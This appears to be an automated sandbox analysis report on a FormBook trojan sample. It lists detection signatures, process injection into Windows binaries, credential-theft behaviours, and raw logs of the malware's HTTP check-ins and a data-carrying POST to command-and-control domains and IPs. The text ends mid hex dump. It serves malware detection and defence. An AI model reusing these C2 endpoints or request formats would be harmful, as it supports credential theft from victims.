Edit tour

Windows Analysis Report
uI1A364y2P.exe

Overview

General Information

Sample name:	uI1A364y2P.exe renamed because original name is a hash value
Original sample name:	06c76e9f520afe4c48a42bc56781f143cbb4d00d9d2da82ed917d52fb399fc61.exe
Analysis ID:	1618201
MD5:	78a9ad79bf5cfb3e640e3ca7eb285b76
SHA1:	05a65af8ba898d5bc35cc4d05bf8e10a467565b0
SHA256:	06c76e9f520afe4c48a42bc56781f143cbb4d00d9d2da82ed917d52fb399fc61
Tags:	exetumbetgirislinki-fituser-JAMESWT_MHT
Infos:

Detection

FormBook

Score:	100
Range:	0 - 100
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected FormBook

.NET source code contains potential unpacker

.NET source code contains very large array initializations

Allocates memory in foreign processes

Found direct / indirect Syscall (likely to bypass EDR)

Injects a PE file into a foreign processes

Joe Sandbox ML detected suspicious sample

Maps a DLL or memory area into another process

Modifies the context of a thread in another process (thread injection)

Performs DNS queries to domains with low reputation

Queues an APC in another process (thread injection)

Switches to a custom stack to bypass stack traces

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Writes to foreign memory regions

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Checks if the current process is being debugged

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected non-DNS traffic on DNS port

Detected potential crypto function

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

IP address seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: AspNetCompiler Execution

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

uI1A364y2P.exe (PID: 7488 cmdline: "C:\Users\user\Desktop\uI1A364y2P.exe" MD5: 78A9AD79BF5CFB3E640E3CA7EB285B76)

aspnet_compiler.exe (PID: 7544 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe" MD5: FDA8C8F2A4E100AFB14C13DFCBCAB2D2)

aspnet_compiler.exe (PID: 7584 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe" MD5: FDA8C8F2A4E100AFB14C13DFCBCAB2D2)

aspnet_compiler.exe (PID: 7608 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe" MD5: FDA8C8F2A4E100AFB14C13DFCBCAB2D2)

zk0NoejtsplNyT.exe (PID: 5472 cmdline: "C:\Program Files (x86)\pRGtEQGDbGjyzcqYVBGQevNGFNXXjhUBlEHDgqzLOPewBVEhnSxMAMWcKXBMZDjKuQuIAwu\elWqCMKd.exe" MD5: 9C98D1A23EFAF1B156A130CEA7D2EE3A)

runonce.exe (PID: 7928 cmdline: "C:\Windows\SysWOW64\runonce.exe" MD5: 9E16655119DDE1B24A741C4FD4AD08FC)

zk0NoejtsplNyT.exe (PID: 2940 cmdline: "C:\Program Files (x86)\pRGtEQGDbGjyzcqYVBGQevNGFNXXjhUBlEHDgqzLOPewBVEhnSxMAMWcKXBMZDjKuQuIAwu\mNbX16zvQChK34.exe" MD5: 9C98D1A23EFAF1B156A130CEA7D2EE3A)

firefox.exe (PID: 3452 cmdline: "C:\Program Files\Mozilla Firefox\Firefox.exe" MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Formbook, Formbo	FormBook contains a unique crypter RunPE that has unique behavioral patterns subject to detection. It was initially called "Babushka Crypter" by Insidemalware.	SWEED Cobalt	http://blog.inquest.net/blog/2018/06/22/a-look-at-formbook-stealer/ http://cambuz.blogspot.de/2016/06/form-grabber-2016-cromeffoperathunderbi.html http://www.vkremez.com/2018/01/lets-learn-dissecting-formbook.html https://0xmrmagnezi.github.io/malware%20analysis/FormBook/ https://any.run/cybersecurity-blog/xloader-formbook-encryption-analysis-and-malware-decryption/	https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000007.00000002.2622831445.0000000000E40000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000004.00000002.1896210182.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000004.00000002.1898549752.0000000002F80000.00000040.10000000.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000004.00000002.1896911087.00000000015D0000.00000040.10000000.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
0000000A.00000002.2624771896.0000000004E40000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000007.00000002.2622738562.0000000000DF0000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000007.00000002.2621242417.0000000000350000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000006.00000002.2622801830.0000000003C30000.00000040.00000001.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
Click to see the 3 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
4.2.aspnet_compiler.exe.400000.0.unpack	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
4.2.aspnet_compiler.exe.400000.0.raw.unpack	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security

Sigma Signatures

System Summary

Sigma detected: AspNetCompiler Execution

Source: Process started

Author: frack113: Data: Command: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe", CommandLine: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe", CommandLine|base64offset|contains: , Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe, ParentCommandLine: "C:\Users\user\Desktop\uI1A364y2P.exe", ParentImage: C:\Users\user\Desktop\uI1A364y2P.exe, ParentProcessId: 7488, ParentProcessName: uI1A364y2P.exe, ProcessCommandLine: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe", ProcessId: 7544, ProcessName: aspnet_compiler.exe

Suricata Signatures

ETPRO MALWARE FormBook CnC Checkin (GET) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-18T18:35:35.689100+0100	2855465	1	A Network Trojan was detected	192.168.2.7	61069	162.218.30.235	80	TCP
2025-02-18T18:35:59.508402+0100	2855465	1	A Network Trojan was detected	192.168.2.7	61073	103.106.67.112	80	TCP
2025-02-18T18:36:13.368671+0100	2855465	1	A Network Trojan was detected	192.168.2.7	61077	104.21.96.1	80	TCP
2025-02-18T18:36:27.566024+0100	2855465	1	A Network Trojan was detected	192.168.2.7	61081	104.21.48.1	80	TCP

ETPRO MALWARE FormBook CnC Checkin (POST) M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-18T18:35:51.601364+0100	2855464	1	A Network Trojan was detected	192.168.2.7	61070	103.106.67.112	80	TCP
2025-02-18T18:35:54.199286+0100	2855464	1	A Network Trojan was detected	192.168.2.7	61071	103.106.67.112	80	TCP
2025-02-18T18:35:56.962404+0100	2855464	1	A Network Trojan was detected	192.168.2.7	61072	103.106.67.112	80	TCP
2025-02-18T18:36:06.088409+0100	2855464	1	A Network Trojan was detected	192.168.2.7	61074	104.21.96.1	80	TCP
2025-02-18T18:36:08.019403+0100	2855464	1	A Network Trojan was detected	192.168.2.7	61075	104.21.96.1	80	TCP
2025-02-18T18:36:11.180744+0100	2855464	1	A Network Trojan was detected	192.168.2.7	61076	104.21.96.1	80	TCP
2025-02-18T18:36:19.363337+0100	2855464	1	A Network Trojan was detected	192.168.2.7	61078	104.21.48.1	80	TCP
2025-02-18T18:36:21.623596+0100	2855464	1	A Network Trojan was detected	192.168.2.7	61079	104.21.48.1	80	TCP
2025-02-18T18:36:24.986551+0100	2855464	1	A Network Trojan was detected	192.168.2.7	61080	104.21.48.1	80	TCP
2025-02-18T18:36:33.901359+0100	2855464	1	A Network Trojan was detected	192.168.2.7	61082	134.122.133.80	80	TCP
2025-02-18T18:36:36.935560+0100	2855464	1	A Network Trojan was detected	192.168.2.7	61083	134.122.133.80	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: uI1A364y2P.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://www.seasay.xyz/c9ts/?rTuLCZ7=b2h4705j/BXuiRKtB3JtAMBCvYzPFBfMqHSZnAN25/qy/QtrNwJS7WfSSjTsExAyaJnRUVMUOnSQnGJ4mxt7Qzpj06nGEzNEnovnPrsEb7KL1brrzNpzul2VEXvMTZ1g4GQAuWECb3v8&6pUT9=BnsLTbOHvZg4E	Avira URL Cloud: Label: malware
Source: http://www.kjuw.party/e0jv/	Avira URL Cloud: Label: malware
Source: http://www.lucynoel6465.shop/jgkl/?rTuLCZ7=hI+cEEoDMRK5HtHlz4V8IEOzbfVROUzo+nuR9x41ri89hVkyLZ4bVRvwmPB4YpqMZl4/b+D+8qc7dcfD2Dlpa+IqhGLYCnqltFYDkW9rwSVxH+ZM2/XnYhAogS2Zyd/o6zK+cbwINARG&6pUT9=BnsLTbOHvZg4E	Avira URL Cloud: Label: malware
Source: https://www.seasay.xyz/c9ts/?rTuLCZ7=b2h4705j/BXuiRKtB3JtAMBCvYzPFBfMqHSZnAN25/qy/QtrNwJS7WfSSjTsExA	Avira URL Cloud: Label: malware
Source: http://www.l63339.xyz/vhr7/?6pUT9=BnsLTbOHvZg4E&rTuLCZ7=iaSfD1StI7hDT4qIAMii2AJAHOe0qHDn7gYmLjmbAGxKTACTDmsoqhtbBCAt1Ym3ncJClzXtgr7Snspij9c4s0DPw8ZLv8n+jVvEkjzRDyf1FFJKGTm/x08ZOhgwkEPf0hvFuhdZt1S6	Avira URL Cloud: Label: malware
Source: http://www.tumbetgirislinki.fit/k566/?rTuLCZ7=RARW43WNMKajmHoYlEtIRJLMiezSzeuXvXreCHJ6fEp5jkldk9mcWmm/U2k918FOdcoJ/x5nnQwLxIae2MHe+MdLjldftk+pS4j839nhzGVAWPSO5aQYaeXSj4P+pnuEIGWZVsh7JvfN&6pUT9=BnsLTbOHvZg4E	Avira URL Cloud: Label: malware

Multi AV Scanner detection for submitted file

Source: uI1A364y2P.exe	ReversingLabs: Detection: 62%
Source: uI1A364y2P.exe	Virustotal: Detection: 51%			Perma Link

Yara detected FormBook

Source: Yara match	File source: 4.2.aspnet_compiler.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.aspnet_compiler.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000007.00000002.2622831445.0000000000E40000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1896210182.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1898549752.0000000002F80000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1896911087.00000000015D0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2624771896.0000000004E40000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.2622738562.0000000000DF0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.2621242417.0000000000350000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2622801830.0000000003C30000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

Joe Sandbox ML detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Source: uI1A364y2P.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: uI1A364y2P.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: CZXSYYS.pdb source: uI1A364y2P.exe
Source:	Binary string: runonce.pdbGCTL source: aspnet_compiler.exe, 00000004.00000002.1896688737.0000000001197000.00000004.00000020.00020000.00000000.sdmp, zk0NoejtsplNyT.exe, 00000006.00000003.1881603043.0000000000BA4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdbUGP source: aspnet_compiler.exe, 00000004.00000002.1897043771.0000000001730000.00000040.00001000.00020000.00000000.sdmp, runonce.exe, 00000007.00000003.1896057355.0000000000CF9000.00000004.00000020.00020000.00000000.sdmp, runonce.exe, 00000007.00000002.2623264722.0000000004590000.00000040.00001000.00020000.00000000.sdmp, runonce.exe, 00000007.00000002.2623264722.000000000472E000.00000040.00001000.00020000.00000000.sdmp, runonce.exe, 00000007.00000003.1900296225.00000000043E3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: aspnet_compiler.exe, aspnet_compiler.exe, 00000004.00000002.1897043771.0000000001730000.00000040.00001000.00020000.00000000.sdmp, runonce.exe, runonce.exe, 00000007.00000003.1896057355.0000000000CF9000.00000004.00000020.00020000.00000000.sdmp, runonce.exe, 00000007.00000002.2623264722.0000000004590000.00000040.00001000.00020000.00000000.sdmp, runonce.exe, 00000007.00000002.2623264722.000000000472E000.00000040.00001000.00020000.00000000.sdmp, runonce.exe, 00000007.00000003.1900296225.00000000043E3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: runonce.pdb source: aspnet_compiler.exe, 00000004.00000002.1896688737.0000000001197000.00000004.00000020.00020000.00000000.sdmp, zk0NoejtsplNyT.exe, 00000006.00000003.1881603043.0000000000BA4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Work\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: zk0NoejtsplNyT.exe, 00000006.00000002.2621245081.00000000004FF000.00000002.00000001.01000000.00000008.sdmp, zk0NoejtsplNyT.exe, 0000000A.00000002.2621245434.00000000004FF000.00000002.00000001.01000000.00000008.sdmp

Source: C:\Windows\SysWOW64\runonce.exe

Code function: 7_2_0036C8D0 FindFirstFileW,FindNextFileW,FindClose,

7_2_0036C8D0

Source: C:\Windows\SysWOW64\runonce.exe	Code function: 4x nop then xor eax, eax		7_2_00359EF0
Source: C:\Windows\SysWOW64\runonce.exe	Code function: 4x nop then mov ebx, 00000004h		7_2_043E04E8

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.7:61073 -> 103.106.67.112:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.7:61071 -> 103.106.67.112:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.7:61069 -> 162.218.30.235:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.7:61079 -> 104.21.48.1:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.7:61076 -> 104.21.96.1:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.7:61074 -> 104.21.96.1:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.7:61070 -> 103.106.67.112:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.7:61080 -> 104.21.48.1:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.7:61077 -> 104.21.96.1:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.7:61083 -> 134.122.133.80:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.7:61072 -> 103.106.67.112:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.7:61081 -> 104.21.48.1:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.7:61075 -> 104.21.96.1:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.7:61082 -> 134.122.133.80:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.7:61078 -> 104.21.48.1:80

Performs DNS queries to domains with low reputation

Source:	DNS query: www.l63339.xyz
Source:	DNS query: www.seasay.xyz

Source: global traffic

TCP traffic: 192.168.2.7:60862 -> 1.1.1.1:53

Source: Joe Sandbox View	IP Address: 104.21.48.1 104.21.48.1
Source: Joe Sandbox View	IP Address: 104.21.48.1 104.21.48.1
Source: Joe Sandbox View	IP Address: 103.106.67.112 103.106.67.112

Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /vhr7/?6pUT9=BnsLTbOHvZg4E&rTuLCZ7=iaSfD1StI7hDT4qIAMii2AJAHOe0qHDn7gYmLjmbAGxKTACTDmsoqhtbBCAt1Ym3ncJClzXtgr7Snspij9c4s0DPw8ZLv8n+jVvEkjzRDyf1FFJKGTm/x08ZOhgwkEPf0hvFuhdZt1S6 HTTP/1.1Host: www.l63339.xyzAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.5Connection: closeUser-Agent: Mozilla/5.0(iPad; U; CPU OS 8_1.1 like Mac OS X; en-us) AppleWebKit/533.17.8 (KHTML, like Gecko) Version/5.0.6 Mobile/8F191 Safari/6534.18.5
Source: global traffic	HTTP traffic detected: GET /c9ts/?rTuLCZ7=b2h4705j/BXuiRKtB3JtAMBCvYzPFBfMqHSZnAN25/qy/QtrNwJS7WfSSjTsExAyaJnRUVMUOnSQnGJ4mxt7Qzpj06nGEzNEnovnPrsEb7KL1brrzNpzul2VEXvMTZ1g4GQAuWECb3v8&6pUT9=BnsLTbOHvZg4E HTTP/1.1Host: www.seasay.xyzAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.5Connection: closeUser-Agent: Mozilla/5.0(iPad; U; CPU OS 8_1.1 like Mac OS X; en-us) AppleWebKit/533.17.8 (KHTML, like Gecko) Version/5.0.6 Mobile/8F191 Safari/6534.18.5
Source: global traffic	HTTP traffic detected: GET /k566/?rTuLCZ7=RARW43WNMKajmHoYlEtIRJLMiezSzeuXvXreCHJ6fEp5jkldk9mcWmm/U2k918FOdcoJ/x5nnQwLxIae2MHe+MdLjldftk+pS4j839nhzGVAWPSO5aQYaeXSj4P+pnuEIGWZVsh7JvfN&6pUT9=BnsLTbOHvZg4E HTTP/1.1Host: www.tumbetgirislinki.fitAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.5Connection: closeUser-Agent: Mozilla/5.0(iPad; U; CPU OS 8_1.1 like Mac OS X; en-us) AppleWebKit/533.17.8 (KHTML, like Gecko) Version/5.0.6 Mobile/8F191 Safari/6534.18.5
Source: global traffic	HTTP traffic detected: GET /jgkl/?rTuLCZ7=hI+cEEoDMRK5HtHlz4V8IEOzbfVROUzo+nuR9x41ri89hVkyLZ4bVRvwmPB4YpqMZl4/b+D+8qc7dcfD2Dlpa+IqhGLYCnqltFYDkW9rwSVxH+ZM2/XnYhAogS2Zyd/o6zK+cbwINARG&6pUT9=BnsLTbOHvZg4E HTTP/1.1Host: www.lucynoel6465.shopAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.5Connection: closeUser-Agent: Mozilla/5.0(iPad; U; CPU OS 8_1.1 like Mac OS X; en-us) AppleWebKit/533.17.8 (KHTML, like Gecko) Version/5.0.6 Mobile/8F191 Safari/6534.18.5

Source: global traffic	DNS traffic detected: DNS query: time.windows.com
Source: global traffic	DNS traffic detected: DNS query: www.l63339.xyz
Source: global traffic	DNS traffic detected: DNS query: www.seasay.xyz
Source: global traffic	DNS traffic detected: DNS query: www.tumbetgirislinki.fit
Source: global traffic	DNS traffic detected: DNS query: www.lucynoel6465.shop
Source: global traffic	DNS traffic detected: DNS query: www.kjuw.party

Source: unknown

HTTP traffic detected: POST /c9ts/ HTTP/1.1Host: www.seasay.xyzAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateOrigin: http://www.seasay.xyzReferer: http://www.seasay.xyz/c9ts/Content-Length: 220Cache-Control: no-cacheConnection: closeContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0(iPad; U; CPU OS 8_1.1 like Mac OS X; en-us) AppleWebKit/533.17.8 (KHTML, like Gecko) Version/5.0.6 Mobile/8F191 Safari/6534.18.5Data Raw: 72 54 75 4c 43 5a 37 3d 57 30 4a 59 34 44 6c 67 38 7a 6d 57 35 46 36 57 58 32 78 58 4d 50 49 78 69 4a 75 36 49 52 48 59 6e 55 4c 6b 7a 41 74 66 75 65 4b 75 72 51 35 70 50 52 74 73 32 58 79 46 63 6c 75 6f 49 52 59 54 59 4b 44 4b 54 43 74 31 59 32 2f 49 30 47 63 49 70 45 34 70 57 54 45 55 36 4b 7a 67 50 58 5a 69 6f 64 6d 78 4c 71 6f 66 58 49 2b 4c 37 36 62 4b 35 66 52 48 31 69 32 65 45 32 57 75 44 59 42 30 36 32 51 56 2f 32 4d 73 62 32 48 6b 75 32 32 5a 47 36 32 51 35 4f 2b 50 30 55 43 61 74 4b 43 4f 31 50 65 31 62 32 68 5a 31 77 32 2f 37 5a 41 2f 31 69 55 4a 65 31 6c 63 56 34 50 67 66 68 49 71 4e 47 72 71 31 48 69 72 77 33 5a 38 4d 66 31 69 75 77 3d 3d Data Ascii: rTuLCZ7=W0JY4Dlg8zmW5F6WX2xXMPIxiJu6IRHYnULkzAtfueKurQ5pPRts2XyFcluoIRYTYKDKTCt1Y2/I0GcIpE4pWTEU6KzgPXZiodmxLqofXI+L76bK5fRH1i2eE2WuDYB062QV/2Msb2Hku22ZG62Q5O+P0UCatKCO1Pe1b2hZ1w2/7ZA/1iUJe1lcV4PgfhIqNGrq1Hirw3Z8Mf1iuw==

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 18 Feb 2025 17:36:07 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeCache-Control: no-cache, no-store, must-revalidatePragma: no-cacheExpires: 0cf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=YTIp1AfDHdosLPOI5GJ54PSkitQ75lggHtrBmGVfPfmUBmqRC8xrmrVK5LTlFnnH%2F3PBAjZH4ExeohgpsYdZ3VdLNrryKQmAj3%2BpqM5qMAqmxG0t76jX4yBbZJrI8bPXNo2o13oQiKm6zt0%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 913fc70f88a745ef-DFWContent-Encoding: gzipalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=47201&min_rtt=47201&rtt_var=23600&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=863&delivery_rate=0&cwnd=30&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"Data Raw: 31 33 31 30 0d 0a 1f 8b 08 00 00 00 00 00 00 03 cc 5a 59 97 a3 4a 72 7e bf bf 02 d7 1c db 33 87 ae 66 df ea 56 b5 0d 08 01 92 40 80 84 24 f4 72 0f 4b b2 88 55 ec 92 cf fc 20 ff 0d ff 32 1f 55 f5 52 5d 25 75 f7 9d f1 83 f3 a1 44 66 46 44 46 c6 f2 05 95 c9 6f bf fd f6 f8 2f 93 a5 b8 76 0c 09 8a db 3c fb f4 db e3 cb 0f 04 41 d0 63 0c dc e0 f3 63 0e 5a 17 8a db b6 ba 07 c7 2e e9 9f ee c4 b2 68 41 d1 de b7 a7 0a dc 41 fe 4b ef e9 ae 05 63 8b 5c 44 fc 0e f9 b1 5b 37 a0 7d ea da f0 9e bd bb 29 c7 f5 63 70 7f e1 af cb ec 95 a0 a2 bc f7 2f 53 37 19 8d da 8d 72 f7 cf 70 48 63 95 d4 a0 79 c5 82 7e 47 5b b8 39 78 ba eb 13 30 54 65 dd be 22 1b 92 a0 8d 9f 02 d0 27 3e b8 7f ee 7c 80 92 22 69 13 37 bb 6f 7c 37 03 4f d8 c7 af a2 da a4 cd c0 27 12 25 21 bd 6c a1 69 d9 15 c1 23 f2 32 f8 42 d0 b4 a7 0c 40 17 bb 7d 36 97 df 34 9f 99 2f cd 2b 83 13 f4 5f 5f bb 97 16 96 45 7b 1f ba 79 92 9d 1e 20 be 4e dc ec 03 a4 80 ac 07 6d e2 bb 1f a0 c6 2d 9a fb 06 d4 49 f8 fb 7b b6 26 39 83 07 08 23 ab f1 fb c9 2c 29 c0 7d 0c 92 28 6e 1f 20 ec 23 89 b3 14 83 91 38 Data Ascii: 1310ZYJr~3fV@$rKU 2UR]%uDfFDFo/v<AccZ.hAAKc\D[7})cp/S7rpHcy~G[9x0Te"'>\|"i7o\|7O'%!li#2B@}64/+__E{y Nm-I{&9#,)}(n #8
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 18 Feb 2025 17:36:13 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeAccept-Ranges: bytesCache-Control: no-cache, no-store, must-revalidatePragma: no-cacheExpires: 0cf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=O2PRrGgYXXPyQ4iT5S0BeO9VZ%2FxoMmxIzwHBUv%2FdZAKogu3dvINWoU3zIVLyigsYbdWnhDo%2FjBBlRZuIepkHyh%2FzlR9MnTlDxjRXXjH8anNaPfPul23xNJVpvoxObEW7eEonmtt%2FIbOil68%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 913fc730c8dce813-DFWalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=37090&min_rtt=37090&rtt_var=18545&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=575&delivery_rate=0&cwnd=30&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"Data Raw: 32 31 33 31 0d 0a 0a 0a 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 50 72 61 67 